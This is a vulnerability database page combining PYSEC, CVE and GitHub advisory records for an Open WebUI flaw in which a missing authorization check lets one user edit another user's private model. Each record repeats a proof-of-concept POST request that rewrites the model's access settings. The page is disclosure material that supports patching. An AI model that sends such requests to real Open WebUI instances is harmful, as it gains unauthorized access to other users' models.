PYSEC-2026-2727
Vulnerability from pysec - Published: 2026-07-13 15:19 - Updated: 2026-07-13 16:05
VLAI
Details
Summary
A user can modify another user's model even if its visibility is set to Private.
The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details / PoC
The user Victim created a private model with the visibility set to private:
The user Attacker can edit this model using the following POST request:
POST /api/v1/models/model/update?id=aaabraaa HTTP/2
Host: domain.local
//Some headers removed
Te: trailers
{"id":"aaabraaa","base_model_id":"gpt-4o-POC","name":"testmodel","meta":{"profile_image_url":"/static/favicon.png","description":"","capabilities":{"vision":true,"usage":false,"citations":true},"suggestion_prompts":null,"tags":[],"toolIds":["test"]},"params":{},"user_id":"565c82e6-083f-42bb-bf0f-a4e214cfb9ad","access_control":{"read":{"group_ids":[],"user_ids":[]},"write":{"group_ids":[],"user_ids":[]}},"is_active":true,"updated_at":1737314575,"created_at":1737121281}
Request / Response
Impact
A user can modify another user's model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained.
Severity
6.5 (Medium)
Impacted products
| Name | purl | open-webui | pkg:pypi/open-webui |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "open-webui",
"purl": "pkg:pypi/open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.7"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1.124",
"0.1.125",
"0.2.0",
"0.2.1",
"0.2.2",
"0.2.3",
"0.2.4",
"0.2.5",
"0.3.0",
"0.3.1",
"0.3.10",
"0.3.12",
"0.3.13",
"0.3.14",
"0.3.15",
"0.3.16",
"0.3.17",
"0.3.17.dev2",
"0.3.17.dev3",
"0.3.17.dev4",
"0.3.17.dev5",
"0.3.18",
"0.3.19",
"0.3.2",
"0.3.20",
"0.3.21",
"0.3.22",
"0.3.23",
"0.3.24",
"0.3.25",
"0.3.26",
"0.3.27",
"0.3.27.dev1",
"0.3.27.dev2",
"0.3.27.dev3",
"0.3.28",
"0.3.29",
"0.3.3",
"0.3.30",
"0.3.30.dev1",
"0.3.30.dev2",
"0.3.31",
"0.3.31.dev1",
"0.3.32",
"0.3.33",
"0.3.33.dev1",
"0.3.34",
"0.3.35",
"0.3.4",
"0.3.5",
"0.3.6",
"0.3.7",
"0.3.8",
"0.3.9",
"0.4.0",
"0.4.0.dev1",
"0.4.0.dev2",
"0.4.1",
"0.4.2",
"0.4.3",
"0.4.4",
"0.4.5",
"0.4.6",
"0.4.6.dev1",
"0.4.7",
"0.4.8",
"0.5.0",
"0.5.0.dev1",
"0.5.0.dev2",
"0.5.1",
"0.5.2",
"0.5.3",
"0.5.3.dev1",
"0.5.4",
"0.5.5",
"0.5.6"
]
}
],
"aliases": [
"CVE-2026-45345",
"GHSA-gm54-m39w-grjp"
],
"details": "### Summary\nA user can modify another user\u0027s model even if its visibility is set to `Private`.\nThe finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.\n\n### Details / PoC\nThe user `Victim` created a private model with the visibility set to `private`: \n\n\nThe user `Attacker` can edit this model using the following POST request:\n```\nPOST /api/v1/models/model/update?id=aaabraaa HTTP/2\nHost: domain.local\n//Some headers removed\nTe: trailers\n\n{\"id\":\"aaabraaa\",\"base_model_id\":\"gpt-4o-POC\",\"name\":\"testmodel\",\"meta\":{\"profile_image_url\":\"/static/favicon.png\",\"description\":\"\",\"capabilities\":{\"vision\":true,\"usage\":false,\"citations\":true},\"suggestion_prompts\":null,\"tags\":[],\"toolIds\":[\"test\"]},\"params\":{},\"user_id\":\"565c82e6-083f-42bb-bf0f-a4e214cfb9ad\",\"access_control\":{\"read\":{\"group_ids\":[],\"user_ids\":[]},\"write\":{\"group_ids\":[],\"user_ids\":[]}},\"is_active\":true,\"updated_at\":1737314575,\"created_at\":1737121281}\n```\nRequest / Response\n\n\n### Impact\nA user can modify another user\u0027s model even if its visibility is set to `Private`. By changing the access permissions during editing, unauthorized access can be gained.",
"id": "PYSEC-2026-2727",
"modified": "2026-07-13T16:05:12.683113Z",
"published": "2026-07-13T15:19:06.702582Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-gm54-m39w-grjp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45345"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/open-webui"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-gm54-m39w-grjp"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI missing authorization check at the model update function - models from other users can be updated"
}
CVE-2026-45345 (GCVE-0-2026-45345)
Vulnerability from cvelistv5 – Published: 2026-05-15 21:17 – Updated: 2026-05-18 15:51
VLAI
EPSS
VEX
Title
Open WebUI: Missing authorization check at the model update function - models from other users can be updated
Summary
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.5.7, a user can modify another user's model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained. This vulnerability is fixed in 0.5.7.
Severity
6.5 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-18 15:50 UTC
CWE
- CWE-285 - Improper Authorization
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/open-webui/open-webui/security… | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| open-webui | open-webui |
Affected:
< 0.5.7
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-45345",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-18T15:50:37.428237Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-18T15:51:06.751Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-gm54-m39w-grjp"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "open-webui",
"vendor": "open-webui",
"versions": [
{
"status": "affected",
"version": "\u003c 0.5.7"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.5.7, a user can modify another user\u0027s model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained. This vulnerability is fixed in 0.5.7."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-285",
"description": "CWE-285: Improper Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-15T21:17:27.335Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/open-webui/open-webui/security/advisories/GHSA-gm54-m39w-grjp",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-gm54-m39w-grjp"
}
],
"source": {
"advisory": "GHSA-gm54-m39w-grjp",
"discovery": "UNKNOWN"
},
"title": "Open WebUI: Missing authorization check at the model update function - models from other users can be updated"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-45345",
"datePublished": "2026-05-15T21:17:27.335Z",
"dateReserved": "2026-05-11T21:40:08.177Z",
"dateUpdated": "2026-05-18T15:51:06.751Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-GM54-M39W-GRJP
Vulnerability from github – Published: 2026-05-14 20:21 – Updated: 2026-05-19 15:59
VLAI
Summary
Open WebUI missing authorization check at the model update function - models from other users can be updated
Details
Summary
A user can modify another user's model even if its visibility is set to Private.
The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details / PoC
The user Victim created a private model with the visibility set to private:
The user Attacker can edit this model using the following POST request:
POST /api/v1/models/model/update?id=aaabraaa HTTP/2
Host: domain.local
//Some headers removed
Te: trailers
{"id":"aaabraaa","base_model_id":"gpt-4o-POC","name":"testmodel","meta":{"profile_image_url":"/static/favicon.png","description":"","capabilities":{"vision":true,"usage":false,"citations":true},"suggestion_prompts":null,"tags":[],"toolIds":["test"]},"params":{},"user_id":"565c82e6-083f-42bb-bf0f-a4e214cfb9ad","access_control":{"read":{"group_ids":[],"user_ids":[]},"write":{"group_ids":[],"user_ids":[]}},"is_active":true,"updated_at":1737314575,"created_at":1737121281}
Request / Response
Impact
A user can modify another user's model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained.
Severity
6.5 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.6"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45345"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:21:38Z",
"nvd_published_at": "2026-05-15T22:16:54Z",
"severity": "MODERATE"
},
"details": "### Summary\nA user can modify another user\u0027s model even if its visibility is set to `Private`.\nThe finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.\n\n### Details / PoC\nThe user `Victim` created a private model with the visibility set to `private`: \n\n\nThe user `Attacker` can edit this model using the following POST request:\n```\nPOST /api/v1/models/model/update?id=aaabraaa HTTP/2\nHost: domain.local\n//Some headers removed\nTe: trailers\n\n{\"id\":\"aaabraaa\",\"base_model_id\":\"gpt-4o-POC\",\"name\":\"testmodel\",\"meta\":{\"profile_image_url\":\"/static/favicon.png\",\"description\":\"\",\"capabilities\":{\"vision\":true,\"usage\":false,\"citations\":true},\"suggestion_prompts\":null,\"tags\":[],\"toolIds\":[\"test\"]},\"params\":{},\"user_id\":\"565c82e6-083f-42bb-bf0f-a4e214cfb9ad\",\"access_control\":{\"read\":{\"group_ids\":[],\"user_ids\":[]},\"write\":{\"group_ids\":[],\"user_ids\":[]}},\"is_active\":true,\"updated_at\":1737314575,\"created_at\":1737121281}\n```\nRequest / Response\n\n\n### Impact\nA user can modify another user\u0027s model even if its visibility is set to `Private`. By changing the access permissions during editing, unauthorized access can be gained.",
"id": "GHSA-gm54-m39w-grjp",
"modified": "2026-05-19T15:59:21Z",
"published": "2026-05-14T20:21:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-gm54-m39w-grjp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45345"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI missing authorization check at the model update function - models from other users can be updated"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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